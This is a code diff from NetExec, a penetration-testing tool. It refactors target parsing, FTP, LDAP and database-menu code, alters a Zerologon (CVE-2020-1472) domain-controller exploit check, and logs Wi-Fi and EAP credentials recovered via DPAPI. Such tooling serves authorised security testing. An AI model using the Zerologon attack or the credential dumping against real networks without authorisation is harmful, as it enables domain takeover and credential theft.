context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}")
|
||||
if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None:
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log)
|
||||
else:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log)
|
||||
except Exception:
|
||||
context.log.highlight(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}")
|
||||
connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log)
|
||||
else:
|
||||
context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}")
|
||||
@@ -1,10 +1,11 @@
|
||||
# everything is comming from https://github.com/dirkjanm/CVE-2020-1472
|
||||
# credit to @dirkjanm
|
||||
# module by : @mpgn_x64
|
||||
from impacket.dcerpc.v5 import nrpc, epm, transport
|
||||
from impacket.dcerpc.v5 import nrpc, epm
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
import sys
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average.
|
||||
@@ -26,7 +27,7 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
self.context = context
|
||||
if self.perform_attack("\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
|
||||
if self.perform_attack(connection, "\\\\" + connection.hostname, connection.host, connection.hostname, connection.host):
|
||||
self.context.log.highlight("VULNERABLE")
|
||||
self.context.log.highlight("Next step: https://github.com/dirkjanm/CVE-2020-1472")
|
||||
try:
|
||||
@@ -43,17 +44,20 @@ class NXCModule:
|
||||
except Exception:
|
||||
self.context.log.debug("Error updating zerologon status in database")
|
||||
|
||||
def perform_attack(self, dc_handle, dc_ip, target_computer, remoteHost):
|
||||
def perform_attack(self, connection, dc_handle, dc_ip, target_computer, remoteHost):
|
||||
# Keep authenticating until successful. Expected average number of attempts needed: 256.
|
||||
self.context.log.debug("Performing authentication attempts...")
|
||||
rpc_con = None
|
||||
try:
|
||||
binding = epm.hept_map(remoteHost, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||
rpc_con_ = transport.DCERPCTransportFactory(binding.replace(remoteHost, dc_ip))
|
||||
rpc_con_.setRemoteHost(remoteHost)
|
||||
rpc_con = rpc_con_.get_dce_rpc()
|
||||
rpc_con.connect()
|
||||
rpc_con.bind(nrpc.MSRPC_UUID_NRPC)
|
||||
string_binding = binding.replace(remoteHost, dc_ip)
|
||||
rpc_con = NXCRPCConnection(connection).connect(
|
||||
None,
|
||||
nrpc.MSRPC_UUID_NRPC,
|
||||
string_binding=string_binding,
|
||||
set_remote_host=remoteHost,
|
||||
anonymous_rpc=True,
|
||||
)
|
||||
for _attempt in range(MAX_ATTEMPTS):
|
||||
result = try_zero_authenticate(rpc_con, dc_handle, dc_ip, target_computer)
|
||||
if result:
|
||||
|
||||
Executable → Regular
+29
-33
@@ -1,14 +1,14 @@
|
||||
# PYTHON_ARGCOMPLETE_OK
|
||||
import contextlib
|
||||
import sys
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import identify_target_file, display_modules
|
||||
from nxc.parsers.ip import parse_targets
|
||||
from nxc.parsers.nmap import parse_nmap_xml
|
||||
from nxc.parsers.nessus import parse_nessus_file
|
||||
from nxc.helpers.misc import display_modules
|
||||
from nxc.cli import gen_cli_args
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.loaders.moduleloader import ModuleLoader
|
||||
from nxc.loaders.moduleloader import ModuleLoader, ModuleOptionsError
|
||||
from nxc.first_run import first_run_setup
|
||||
from nxc.parsers.ip import process_targets
|
||||
from nxc.paths import NXC_PATH, WORKSPACE_DIR
|
||||
from nxc.console import nxc_console
|
||||
from nxc.logger import nxc_logger
|
||||
@@ -17,9 +17,9 @@ from nxc.database import create_db_engine
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
import asyncio
|
||||
from nxc.helpers import powershell
|
||||
import signal
|
||||
import shutil
|
||||
import os
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
from sys import exit
|
||||
from rich.progress import Progress
|
||||
@@ -40,7 +40,7 @@ if platform.system() != "Windows":
|
||||
resource.setrlimit(resource.RLIMIT_NOFILE, file_limit)
|
||||
|
||||
|
||||
async def start_run(protocol_obj, args, db, targets): # noqa: RUF029
|
||||
async def start_run(protocol_obj, args, db, targets): # ruff: ignore[unused-async]
|
||||
futures = []
|
||||
nxc_logger.debug("Creating ThreadPoolExecutor")
|
||||
if args.no_progress or len(targets) == 1:
|
||||
@@ -58,7 +58,7 @@ async def start_run(protocol_obj, args, db, targets): # noqa: RUF029
|
||||
nxc_logger.debug(f"Creating thread for {protocol_obj}")
|
||||
futures = [executor.submit(protocol_obj, args, db, target) for target in targets]
|
||||
for _ in as_completed(futures):
|
||||
current += 1 # noqa: SIM113
|
||||
current += 1 # ruff: ignore[enumerate-for-loop]
|
||||
progress.update(tasks, completed=current)
|
||||
for future in as_completed(futures):
|
||||
try:
|
||||
@@ -67,7 +67,19 @@ async def start_run(protocol_obj, args, db, targets): # noqa: RUF029
|
||||
nxc_logger.exception(f"Exception for target {targets[futures.index(future)]}: {future.exception()}")
|
||||
|
||||
|
||||
def ctrl_c(sig, frame):
|
||||
nxc_logger.debug("Got keyboard interrupt")
|
||||
with contextlib.suppress(Exception):
|
||||
if hasattr(nxc_console, "_live_stack") and nxc_console._live_stack:
|
||||
for live in nxc_console._live_stack:
|
||||
live.stop()
|
||||
nxc_console.show_cursor(True)
|
||||
nxc_logger.highlight("[!] Interrupted, exiting.")
|
||||
os._exit(0)
|
||||
|
||||
|
||||
def main():
|
||||
signal.signal(signal.SIGINT, ctrl_c)
|
||||
first_run_setup(nxc_logger)
|
||||
args, version_info = gen_cli_args()
|
||||
|
||||
@@ -96,41 +108,23 @@ def main():
|
||||
nxc_logger.error("KRB5CCNAME environment variable is not set")
|
||||
exit(1)
|
||||
|
||||
targets = []
|
||||
|
||||
if hasattr(args, "cred_id") and args.cred_id:
|
||||
for cred_id in args.cred_id:
|
||||
if "-" in str(cred_id):
|
||||
start_id, end_id = cred_id.split("-")
|
||||
try:
|
||||
for n in range(int(start_id), int(end_id) + 1):
|
||||
args.cred_id.append(n) # noqa: B909
|
||||
args.cred_id.remove(cred_id) # noqa: B909
|
||||
args.cred_id.append(n) # ruff: ignore[loop-iterator-mutation]
|
||||
args.cred_id.remove(cred_id) # ruff: ignore[loop-iterator-mutation]
|
||||
except Exception as e:
|
||||
nxc_logger.error(f"Error parsing database credential id: {e}")
|
||||
exit(1)
|
||||
|
||||
if hasattr(args, "target") and args.target:
|
||||
for target in args.target:
|
||||
try:
|
||||
if exists(target) and os.path.isfile(target):
|
||||
target_file_type = identify_target_file(target)
|
||||
if target_file_type == "nmap":
|
||||
targets.extend(parse_nmap_xml(target, args.protocol))
|
||||
elif target_file_type == "nessus":
|
||||
targets.extend(parse_nessus_file(target, args.protocol))
|
||||
else:
|
||||
with open(target) as target_file:
|
||||
for target_entry in target_file:
|
||||
targets.extend(parse_targets(target_entry.strip()))
|
||||
else:
|
||||
targets.extend(parse_targets(target))
|
||||
except Exception as e:
|
||||
nxc_logger.fail(f"Failed to parse target '{target}': {e}")
|
||||
targets = process_targets(args)
|
||||
|
||||
# The following is a quick hack for the powershell obfuscation functionality, I know this is yucky
|
||||
if hasattr(args, "clear_obfscripts") and args.clear_obfscripts:
|
||||
obfuscated_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
|
||||
obfuscated_dir = path_join(NXC_PATH, "obfuscated_scripts")
|
||||
shutil.rmtree(obfuscated_dir)
|
||||
os.mkdir(obfuscated_dir)
|
||||
nxc_logger.success("Cleared cached obfuscated PowerShell scripts")
|
||||
@@ -193,7 +187,11 @@ def main():
|
||||
exit(1)
|
||||
|
||||
nxc_logger.debug(f"Loading module for sanity check {m} at path {modules[m]['path']}")
|
||||
module = loader.init_module(modules[m]["path"])
|
||||
try:
|
||||
loader.init_module(modules[m]["path"])
|
||||
except ModuleOptionsError as e:
|
||||
nxc_logger.debug(f"Aborting run: {e}")
|
||||
exit(1)
|
||||
|
||||
# Add modules paths to the protocol object so it can load them itself
|
||||
proto_module_paths.append(modules[m]["path"])
|
||||
@@ -209,8 +207,6 @@ def main():
|
||||
|
||||
try:
|
||||
asyncio.run(start_run(protocol_object, args, db, targets))
|
||||
except KeyboardInterrupt:
|
||||
nxc_logger.debug("Got keyboard interrupt")
|
||||
finally:
|
||||
db_engine.dispose()
|
||||
|
||||
|
||||
+21
-12
@@ -16,10 +16,6 @@ from nxc.paths import CONFIG_PATH, WORKSPACE_DIR
|
||||
from nxc.database import create_db_engine, open_config, get_workspace, get_db, write_configfile, create_workspace, set_workspace
|
||||
|
||||
|
||||
class UserExitedProto(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def print_table(data, title=None):
|
||||
print()
|
||||
table = AsciiTable(data)
|
||||
@@ -99,7 +95,16 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
print_help(help_string)
|
||||
|
||||
def do_back(self, line):
|
||||
raise UserExitedProto
|
||||
self.db.shutdown_db()
|
||||
return True
|
||||
|
||||
def do_proto(self, line):
|
||||
if not line:
|
||||
self.main_menu.help_proto()
|
||||
|
||||
self.db.shutdown_db()
|
||||
self.main_menu.do_proto(line)
|
||||
return True
|
||||
|
||||
def do_export(self, line):
|
||||
if not line:
|
||||
@@ -310,10 +315,18 @@ class DatabaseNavigator(cmd.Cmd):
|
||||
return
|
||||
print("[+] DPAPI secrets exported")
|
||||
elif command == "keys":
|
||||
if len(line) < 3:
|
||||
print("[-] invalid arguments, export keys <all|id> <filename>")
|
||||
return
|
||||
|
||||
keys = self.db.get_keys() if line[1].lower() == "all" else self.db.get_keys(key_id=int(line[1]))
|
||||
if not keys:
|
||||
print("[-] No keys found in the database for the current protocol")
|
||||
return
|
||||
writable_keys = [key[2] for key in keys]
|
||||
filename = line[2]
|
||||
write_list(filename, writable_keys)
|
||||
print("[+] Keys exported")
|
||||
elif command == "wcc":
|
||||
if len(line) < 3:
|
||||
print("[-] invalid arguments, export wcc <simple|detailed> <filename>")
|
||||
@@ -459,17 +472,13 @@ class NXCDBMenu(cmd.Cmd):
|
||||
db_object = self.p_loader.load_protocol(self.protocols[proto]["dbpath"])
|
||||
self.config.set("nxc", "last_used_db", proto)
|
||||
write_configfile(self.config, self.config_path)
|
||||
try:
|
||||
proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto)
|
||||
proto_menu.cmdloop()
|
||||
except UserExitedProto:
|
||||
pass
|
||||
proto_menu = db_nav_object.navigator(self, db_object.database(self.conn), proto)
|
||||
proto_menu.cmdloop()
|
||||
|
||||
@staticmethod
|
||||
def help_proto():
|
||||
help_string = """
|
||||
proto [smb|mssql|winrm]
|
||||
*unimplemented protocols: ftp, rdp, ldap, ssh
|
||||
proto [smb|mssql|winrm|ftp|rdp|ldap|ssh]
|
||||
Changes nxcdb to the specified protocol
|
||||
"""
|
||||
print_help(help_string)
|
||||
|
||||
+119
-6
@@ -1,22 +1,135 @@
|
||||
import netifaces
|
||||
from ipaddress import ip_address, ip_network, summarize_address_range, ip_interface
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import identify_target_file
|
||||
from nxc.config import exclude_hosts, skip_self
|
||||
from nxc.logger import nxc_logger
|
||||
from nxc.parsers.nmap import parse_nmap_xml
|
||||
from nxc.parsers.nessus import parse_nessus_file
|
||||
|
||||
from os.path import exists, isfile
|
||||
from pathlib import Path
|
||||
from sys import exit
|
||||
|
||||
|
||||
def process_targets(args):
|
||||
targets = []
|
||||
if hasattr(args, "target") and args.target:
|
||||
for target in args.target:
|
||||
try:
|
||||
if exists(target) and isfile(target):
|
||||
target_file_type = identify_target_file(target)
|
||||
if target_file_type == "nmap":
|
||||
targets.extend(parse_nmap_xml(target, args.protocol))
|
||||
elif target_file_type == "nessus":
|
||||
targets.extend(parse_nessus_file(target, args.protocol))
|
||||
else:
|
||||
with open(target) as target_file:
|
||||
for target_entry in target_file:
|
||||
targets.extend(parse_targets(target_entry.strip()))
|
||||
else:
|
||||
targets.extend(parse_targets(target))
|
||||
except Exception as e:
|
||||
nxc_logger.fail(f"Failed to parse target '{target}': {e}")
|
||||
|
||||
# Handle exclusions from config
|
||||
excluded_ips = set()
|
||||
|
||||
# Process exclude_hosts from config. Important, we are reusing the parse_targets because it
|
||||
# already provides the code necessary for parsing all provided inputs
|
||||
if args.exclude_hosts is not None:
|
||||
exclude_hosts.extend(args.exclude_hosts)
|
||||
|
||||
for excluded in exclude_hosts:
|
||||
if Path(excluded).is_file():
|
||||
with open(excluded) as excluded_file:
|
||||
for line in excluded_file.readlines():
|
||||
excluded_ips.update(parse_targets(line.strip()))
|
||||
else:
|
||||
excluded_ips.update(parse_targets(excluded))
|
||||
|
||||
# Process skip_self from config and cli argument
|
||||
if skip_self or args.skip_self:
|
||||
local_ips = get_local_ips()
|
||||
if local_ips:
|
||||
nxc_logger.debug(f"Local IP addresses detected: {local_ips}")
|
||||
excluded_ips.update(local_ips)
|
||||
else:
|
||||
nxc_logger.error("Could not determine local IP address for skip_self")
|
||||
|
||||
# Validate that all objects to be excluded are valid IP addresses
|
||||
try:
|
||||
for ip in excluded_ips:
|
||||
ip_address(ip)
|
||||
except ValueError as e:
|
||||
nxc_logger.error(f"Invalid IP address in excluded hosts: {e}")
|
||||
exit(1)
|
||||
|
||||
# Filter out excluded targets
|
||||
if excluded_ips:
|
||||
ignore_target_warning = False
|
||||
for target in targets:
|
||||
try:
|
||||
ip_address(target)
|
||||
except ValueError:
|
||||
if not ignore_target_warning:
|
||||
ans = input(highlight("[!] Target is not an IP address, but exclusion list detected. Hostnames will not be filtered. Do you want to continue? [Y/n] ", "red"))
|
||||
if ans.lower() not in ["y", "yes", ""]:
|
||||
exit(1)
|
||||
ignore_target_warning = True
|
||||
|
||||
original_count = len(targets)
|
||||
excluded_targets = [target for target in targets if target in excluded_ips]
|
||||
targets = [target for target in targets if target not in excluded_ips]
|
||||
nxc_logger.info(f"Excluding {original_count - len(targets)} hosts from scan: {excluded_targets}")
|
||||
return targets
|
||||
|
||||
|
||||
def get_local_ips():
|
||||
"""Get the local IP address using netifaces library."""
|
||||
interfaces = netifaces.interfaces()
|
||||
ips = set()
|
||||
|
||||
for interface in interfaces:
|
||||
# Skip loopback interface
|
||||
if interface == "lo" or interface.startswith("lo"):
|
||||
continue
|
||||
|
||||
addresses = netifaces.ifaddresses(interface)
|
||||
if netifaces.AF_INET in addresses:
|
||||
for addr_info in addresses[netifaces.AF_INET]:
|
||||
ip = addr_info.get("addr")
|
||||
# Skip localhost and link-local addresses
|
||||
if ip and not ip.startswith("127.") and not ip.startswith("169.254."):
|
||||
ips.add(ip)
|
||||
if netifaces.AF_INET6 in addresses:
|
||||
for addr_info in addresses[netifaces.AF_INET6]:
|
||||
ip = addr_info.get("addr")
|
||||
# Skip localhost and link-local addresses
|
||||
if ip and not ip.startswith("::1") and not ip.startswith("fe80::"):
|
||||
ips.add(ip)
|
||||
return ips
|
||||
|
||||
|
||||
def parse_targets(target):
|
||||
try:
|
||||
if "-" in target:
|
||||
start_ip, end_ip = target.split("-")
|
||||
start = ip_address(start_ip)
|
||||
try:
|
||||
end_ip = ip_address(end_ip)
|
||||
end = ip_address(end_ip)
|
||||
except ValueError:
|
||||
first_three_octets = start_ip.split(".")[:-1]
|
||||
first_three_octets.append(end_ip)
|
||||
end_ip = ip_address(".".join(first_three_octets))
|
||||
sep = ":" if start.version == 6 else "."
|
||||
prefix = start_ip.split(sep)[:-1]
|
||||
prefix.append(end_ip)
|
||||
end = ip_address(sep.join(prefix))
|
||||
|
||||
for ip_range in summarize_address_range(ip_address(start_ip), end_ip):
|
||||
for ip_range in summarize_address_range(start, end):
|
||||
for ip in ip_range:
|
||||
yield str(ip)
|
||||
else:
|
||||
if ip_interface(target).ip.version == 6 and ip_address(target).is_link_local:
|
||||
ip = ip_interface(target).ip
|
||||
if ip.version == 6 and ip.is_link_local:
|
||||
yield str(target)
|
||||
else:
|
||||
for ip in ip_network(target, strict=False):
|
||||
|
||||
+42
-12
@@ -1,15 +1,16 @@
|
||||
from io import BytesIO
|
||||
import os
|
||||
from nxc.config import process_secret
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.logger import NXCAdapter
|
||||
from ftplib import FTP, error_perm
|
||||
from ftplib import FTP, error_perm, error_temp
|
||||
|
||||
|
||||
class ftp(connection):
|
||||
def __init__(self, args, db, host):
|
||||
self.protocol = "FTP"
|
||||
self.remote_version = None
|
||||
self.welcome_banner = ""
|
||||
|
||||
super().__init__(args, db, host)
|
||||
|
||||
@@ -26,11 +27,12 @@ class ftp(connection):
|
||||
def enum_host_info(self):
|
||||
welcome = self.conn.getwelcome()
|
||||
self.logger.debug(f"Welcome result: {welcome}")
|
||||
self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.remote_version}")
|
||||
for line in welcome.splitlines():
|
||||
self.welcome_banner += line.split("220", 1)[1].strip() # strip out the extra space in the front
|
||||
self.logger.debug(f"Remote version: {self.welcome_banner}")
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.display(f"Banner: {self.remote_version}")
|
||||
self.logger.display(f"Banner: {self.welcome_banner}")
|
||||
|
||||
def create_conn_obj(self):
|
||||
self.conn = FTP()
|
||||
@@ -50,13 +52,12 @@ class ftp(connection):
|
||||
self.logger.debug(f"Response: {resp}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})")
|
||||
self.conn.close()
|
||||
return False
|
||||
|
||||
# 230 is "User logged in, proceed" response, ftplib raises an exception on failed login
|
||||
if "230" in resp:
|
||||
self.logger.debug(f"Host: {self.host} Port: {self.port}")
|
||||
self.db.add_host(self.host, self.port, self.remote_version)
|
||||
self.db.add_host(self.host, self.port, self.welcome_banner)
|
||||
|
||||
cred_id = self.db.add_credential(username, password)
|
||||
|
||||
@@ -101,8 +102,9 @@ class ftp(connection):
|
||||
self.put_file(self.args.put[0], self.args.put[1])
|
||||
|
||||
if not self.args.continue_on_success:
|
||||
self.conn.close()
|
||||
return True
|
||||
|
||||
def disconnect(self):
|
||||
self.conn.close()
|
||||
|
||||
def list_directory_full(self):
|
||||
@@ -115,6 +117,10 @@ class ftp(connection):
|
||||
self.logger.fail(f"Failed to list directory. Response: ({error_message})")
|
||||
self.conn.close()
|
||||
return False
|
||||
except error_temp as e:
|
||||
self.logger.fail(e)
|
||||
self.conn.close()
|
||||
return False
|
||||
return files
|
||||
|
||||
def get_file(self, filename):
|
||||
@@ -125,10 +131,9 @@ class ftp(connection):
|
||||
if self.conn.encoding == "utf-8":
|
||||
# Switch the connection to binary
|
||||
self.conn.sendcmd("TYPE I")
|
||||
# Check if the file exists
|
||||
self.conn.size(filename)
|
||||
# Attempt to download the file
|
||||
self.conn.retrbinary(f"RETR {filename}", open(downloaded_file, "wb").write) # noqa: SIM115
|
||||
with open(downloaded_file, "wb") as f:
|
||||
self.conn.retrbinary(f"RETR {filename}", f.write)
|
||||
except error_perm as error_message:
|
||||
self.logger.fail(f"Failed to download the file. Response: ({error_message})")
|
||||
self.conn.close()
|
||||
@@ -146,7 +151,8 @@ class ftp(connection):
|
||||
def put_file(self, local_file, remote_file):
|
||||
try:
|
||||
# Attempt to upload the file
|
||||
self.conn.storbinary(f"STOR {remote_file}", open(local_file, "rb")) # noqa: SIM115
|
||||
with open(local_file, "rb") as f:
|
||||
self.conn.storbinary(f"STOR {remote_file}", f.read)
|
||||
except error_perm as error_message:
|
||||
self.logger.fail(f"Failed to upload file. Response: ({error_message})")
|
||||
return False
|
||||
@@ -159,6 +165,30 @@ class ftp(connection):
|
||||
else:
|
||||
self.logger.fail(f"Failed to upload: {local_file} to {remote_file}")
|
||||
|
||||
def cat(self):
|
||||
# Extract the filename from the path
|
||||
remote_file = self.args.cat
|
||||
try:
|
||||
# Check if the current connection is ASCII (ASCII does not support .size())
|
||||
if self.conn.encoding == "utf-8":
|
||||
# Switch the connection to binary
|
||||
self.conn.sendcmd("TYPE I")
|
||||
# Attempt to get the file content
|
||||
buf = BytesIO()
|
||||
self.conn.retrbinary(f"RETR {remote_file}", buf.write)
|
||||
except error_perm as error_message:
|
||||
self.logger.fail(f"Failed to get file content. Response: ({error_message})")
|
||||
return False
|
||||
except FileNotFoundError:
|
||||
self.logger.fail("Failed to get file content. Response: (No such file or directory.)")
|
||||
return False
|
||||
|
||||
try:
|
||||
for line in buf.getvalue().decode().splitlines():
|
||||
self.logger.highlight(line)
|
||||
except UnicodeDecodeError as e:
|
||||
self.logger.fail(f"File is not in UTF-8: {e}")
|
||||
|
||||
def supported_commands(self):
|
||||
raw_supported_commands = self.conn.sendcmd("HELP")
|
||||
supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist]
|
||||
|
||||
@@ -7,6 +7,7 @@ def proto_args(parser, parents):
|
||||
|
||||
cgroup = ftp_parser.add_argument_group("File Operations")
|
||||
cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory")
|
||||
cgroup.add_argument("--cat", metavar="FILE", help="Display the contents of a file. Example: --cat /path/to/file")
|
||||
cgroup.add_argument("--get", metavar="FILE", help="Download a file")
|
||||
cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file")
|
||||
return parser
|
||||
+281
-160
@@ -14,7 +14,6 @@ from termcolor import colored
|
||||
from dns import resolver
|
||||
from dateutil.relativedelta import relativedelta as rd
|
||||
|
||||
from Cryptodome.Hash import MD4
|
||||
from OpenSSL.SSL import SysCallError
|
||||
from bloodhound.ad.authentication import ADAuthentication
|
||||
from bloodhound.ad.domain import AD
|
||||
@@ -28,20 +27,21 @@ from impacket.dcerpc.v5.samr import (
|
||||
SAM_MACHINE_ACCOUNT,
|
||||
)
|
||||
from impacket.krb5 import constants
|
||||
from impacket.krb5.crypto import generate_kerberos_keys
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGS, SessionKeyDecryptionError
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.types import Principal, KerberosException
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldaptypes
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
from impacket.ldap.ldap import LDAPFilterSyntaxError
|
||||
from impacket.ldap.ldap import LDAPFilterSyntaxError, MODIFY_REPLACE
|
||||
from impacket.smbconnection import SessionError
|
||||
from impacket.ntlm import getNTLMSSPType1
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import get_bloodhound_info, convert, d2b
|
||||
from nxc.helpers.misc import get_bloodhound_info, convert, d2b, parse_argument
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.protocols.ldap.bloodhound import BloodHound, resolve_collection_methods
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
@@ -108,7 +108,7 @@ class ldap(connection):
|
||||
ldap_url = f"{proto}://{self.host}"
|
||||
self.logger.info(f"Connecting to {ldap_url} with no baseDN")
|
||||
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host)
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(ldap_url, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
if self.ldap_connection:
|
||||
self.logger.debug(f"ldap_connection: {self.ldap_connection}")
|
||||
except SysCallError as e:
|
||||
@@ -123,7 +123,7 @@ class ldap(connection):
|
||||
self.logger.debug(f"{e} on host {self.host}")
|
||||
return False
|
||||
except OSError as e:
|
||||
if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT):
|
||||
if e.errno in (EHOSTUNREACH, ENETUNREACH, ETIMEDOUT) or "timed out" in str(e):
|
||||
self.logger.info(f"Error connecting to {self.host}: {e}")
|
||||
return False
|
||||
else:
|
||||
@@ -147,11 +147,12 @@ class ldap(connection):
|
||||
return ""
|
||||
|
||||
def check_ldap_signing(self):
|
||||
self.signing_required = False
|
||||
self.signing_required = None
|
||||
ldap_url = f"ldap://{self.target}"
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout)
|
||||
ldap_connection.login(domain=self.domain)
|
||||
self.signing_required = False
|
||||
self.logger.debug(f"LDAP signing is not enforced on {self.host}")
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
if str(e).find("strongerAuthRequired") >= 0:
|
||||
@@ -159,12 +160,14 @@ class ldap(connection):
|
||||
self.signing_required = True
|
||||
else:
|
||||
self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}")
|
||||
except OSError as e:
|
||||
self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}")
|
||||
|
||||
def check_ldaps_cbt(self):
|
||||
self.cbt_status = "Never"
|
||||
ldap_url = f"ldaps://{self.target}"
|
||||
try:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
ldap_connection.channel_binding_value = None
|
||||
ldap_connection.login(user=" ", domain=self.domain)
|
||||
except ldap_impacket.LDAPSessionError as e:
|
||||
@@ -173,7 +176,7 @@ class ldap(connection):
|
||||
self.cbt_status = "Always" # CBT is Required
|
||||
# Login failed (wrong credentials). test if we get an error with an existing, but wrong CBT -> When supported
|
||||
elif str(e).find("data 52e") >= 0:
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
new_cbv = bytearray(ldap_connection.channel_binding_value)
|
||||
new_cbv[15] = (new_cbv[3] + 1) % 256
|
||||
ldap_connection.channel_binding_value = bytes(new_cbv)
|
||||
@@ -185,12 +188,17 @@ class ldap(connection):
|
||||
self.cbt_status = "When Supported" # CBT is When Supported
|
||||
else:
|
||||
self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}")
|
||||
self.cbt_status = "Unknown"
|
||||
except SysCallError as e:
|
||||
self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}")
|
||||
if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]:
|
||||
self.cbt_status = "No TLS cert"
|
||||
else:
|
||||
raise
|
||||
except OSError as e:
|
||||
# Should catch TimeoutError ([Errno 110]), ConnectionRefusedError, host/network unreachable, etc.
|
||||
self.logger.debug(f"Connection error while checking LDAPS channel binding on {self.host}: {e!s}")
|
||||
self.cbt_status = "Unknown"
|
||||
|
||||
def enum_host_info(self):
|
||||
# Enumerate LDAP info
|
||||
@@ -279,7 +287,12 @@ class ldap(connection):
|
||||
|
||||
def print_host_info(self):
|
||||
self.logger.debug("Printing host info for LDAP")
|
||||
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"])
|
||||
if self.signing_required is True:
|
||||
signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"])
|
||||
elif self.signing_required is False:
|
||||
signing = colored("signing:None", host_info_colors[1], attrs=["bold"])
|
||||
else:
|
||||
signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"])
|
||||
cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"])
|
||||
ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else ""
|
||||
|
||||
@@ -331,7 +344,7 @@ class ldap(connection):
|
||||
proto = "ldaps" if self.port == 636 else "ldap"
|
||||
ldap_url = f"{proto}://{self.target}"
|
||||
self.logger.info(f"Connecting to {ldap_url} - {self.baseDN} - {self.host} [1]")
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host)
|
||||
self.ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, timeout=self.args.ldap_timeout)
|
||||
